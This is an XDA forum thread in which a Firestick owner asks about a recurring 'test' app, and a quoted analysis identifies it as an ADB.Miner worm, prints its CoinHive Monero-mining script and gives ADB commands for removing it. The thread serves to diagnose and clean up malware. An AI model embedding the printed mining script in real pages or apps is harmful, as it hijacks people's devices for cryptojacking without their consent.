FORUMS
Remove All Ads from XDA

[Malware/Virus] Solution Inside - Firestick Gen 2 - "test" app keeps popping up

56 posts
Thanks Meter: 5
 
By the great potato, Member on 1st April 2018, 02:36 AM
Post Reply Email Thread
hi guys ! i have a question i hope someone can help me with. I have a Gen 2 Firestick and for 2 days now this app called "test" keeps popping up at all times, i have no clue why its doing this. I have uninstalled the app and it comes back and ive even tryed to run the app and its tells me the App needs updated to run on my device, look for an updated version on my store.. and yeah the app dont exist on the store.. What is up with this thing? I even reformated the firestick and within a few hours it was back and doing it again !!!! this thing is driving me nuts !!! youll be watching a video or movie and this thing pops up and forces your video to pause and even crash. Can anyone help me?? i only have Terrarium,Turbo vpn,es file explorer, mouse toggle, and SPMC installed. the rest is all from Amazons factory reset. I just want to block it from running or destroy it completely. you dont even have to be doing anything and it pops up even on the Homescreen. ANyhelp would be great thank you all !! btw.. ran a virus scan it said it deleted it and it came back, tryed a firewall blocked it ,,still keeps popping up !! AURG!! help !!

------------------------------------------------------------------Moderator Edit-------------------------------------------------------------------
Verified Solution

First reported by @azureru as malware in this post.
Quote:
Originally Posted by azureru

I have the same app on my Android Stick and it kept coming back.

Reverse engineering it - that Test app is a variation of ADB.Miner worm that will use your device to open webview. It open single html that will mine monero using CoinHive

Code:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
	var miner = new CoinHive.Anonymous('eXnvyAQwXxGV80C4fGuiRiDZiDpDaSrf',{
        threads:3,
        throttle: 0.6
});
	miner.start();
</script>
If you have uninstall the app on your Android and it kept coming back - make sure to disable adb on your Android and check for other Android devices on your network for this worm.

------------------------------------------------------------------------------------------


@innovaciones provides a number of solutions - including a verified working modded .apk of the malware which renders it harmless.

Quote:
Originally Posted by innovaciones

I can confirm that this "Test" app is actually a virus, I reverse engineering it too and when the Test apk auto starts it opens an script from a "run.html" file that have the same code that azureru posted, so this is definitely an ADB.Miner, how we got the virus? well I guess from sideloading sketchy apps, the main problem with this virus is that the Fire TV gets very slow because most of the performance is used for mining.

How we can get rid of this virus?
Well first, is there other Fire TVs or Android devices in your place? if the answer is yes then these devices could be infected too, this virus spreads using the ADB protocol so all the devices that have "ADB debugging" option enabled that are connected in your wifi network will get the virus, so is very important that you turn off "ADB debugging" in all your Android devices.

RESET TO FACTORY SETTINGS
There a several ways to get rid of this virus, the most effective way will be reseting to factory settings all your devices, and be careful next time what apk you install, and don't forget to turn off ADB debugging when not in use.

DELETE VIRUS FILES
Using ADB input these commands:

shell rm data/local/tmp/ufo.apk
shell rm data/local/tmp/lock.txt
shell rm data/local/tmp/smi
shell rm data/local/tmp/endat
shell rm data/local/tmp/nohup
uninstall com.google.time.timer
reboot

This are some of the virus files I found but I really don't know if deleting these files will be enough to disable the virus.

INSTALL MODDED VIRUS
If you don't want to reset to factory settings and all you want is to "turn off" the miner then you can install the attached APK that is a modded version from the original virus except the run.html is a blank page (without the minning script) and the Activities name from the AndroidManifest.xml were changed so it can't start now, so pretty much the virus will think it's working but it's not.

HIDE THE VIRUS
As recommended here you could try the hide command:
pm hide com.google.time.timer

Here is more information about these kind of virus, the test virus a variation from this:
http://blog.netlab.360.com/adb-miner...nformation-en/

I hope this information could help someone.

 
 
1st April 2018, 02:37 AM |#2  
OP Member
Thanks Meter: 5
 
More
the test app just has a White screen, and in the top left corner has a Green Android bot and the word test.. can get a pic if needed.
1st April 2018, 02:45 AM |#3  
OP Member
Thanks Meter: 5
 
More
o i should say, ive googled and searched and searched for info on this and apparently im the only person in the world this is happening to
1st April 2018, 06:33 PM |#4  
OP Member
Thanks Meter: 5
 
More
ok i looked at the test app in the firewall and it has more info, it says its from, com.google.time.timer , so what does that mean? is it a file from google that messed up ??
3rd April 2018, 06:27 PM |#5  
OP Member
Thanks Meter: 5
 
More
hmmm. Ok i installed nox 6 emulater and installed all the same apps and so far this com.google.time.timer does not exist ! thought maybe i could track down some info on this if i installed it on my pc, someone got any ideas here???
3rd April 2018, 06:58 PM |#6  
OP Member
Thanks Meter: 5
 
More
ok someone has to know something here, just got off the phone with amazon tech, they told me "test" keeps popping up because i have a trial amazon account and i have to pay for amazon service !! say what?? I dont even use the firestick for amazon service !! guess its time to root and take out the amazon services then?
3rd April 2018, 08:41 PM |#7  
OP Member
Thanks Meter: 5
 
More
well so far i made a new account with my other email and deregistered my firestick off my account and put it on the new account. Let yall know what happens.
4th April 2018, 01:55 AM |#8  
OP Member
Thanks Meter: 5
 
More
so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.
7th April 2018, 04:05 PM |#9  
TheFixItMan's Avatar
Senior Member
Flag London
Thanks Meter: 3,509
 
More
Quote:
Originally Posted by the great potato

so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.

No you don't have to pay to use the firestick - you probably signed up for free 30 day prime subscription - once that runs out it will automatically charge you for the subscription unless you cancel (if there is an available payment option on your account)
I assume all you had to do if it was prime membership was to cancel your subscription

Of course you don't have to opt in for this at all during registration

You can simply remove apps via adb

The firestick doesn't come with any Google apps (for obvious reasons) so anything else that is popping up is from something you have installed
7th April 2018, 06:17 PM |#10  
OP Member
Thanks Meter: 5
 
More
well, after 2 days the test is popping up again ! =*( but anyway, I know i dont have any trials of anything especially prime, i had problems with Prime before and i make sure and double check i have nothing to do with prime. Amazon tech are the ones that told me if i pay 19.99 a month or 60 for 5 months it will stop ! So i have no idea what there talking about. I can only think to uninstall apps 1 by 1 and see if it stops or not. Im really getting to a loss on this and considering selling my set up on ebay and just buying one of the 100 dollar android boxes. =( thank you much for your reply !! All i can guess it is something installed, but wth is amazon talking about ? lol
7th April 2018, 08:10 PM |#11  
OP Member
Thanks Meter: 5
 
More
talked to amazon, though my account said , you have no prime sub, sign up now! they said i had a prime sub trial ... canceled it and still get the pop up !
Post Reply Subscribe to Thread

Guest Quick Reply (no urls or BBcode)
Message:
Previous Thread Next Thread
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes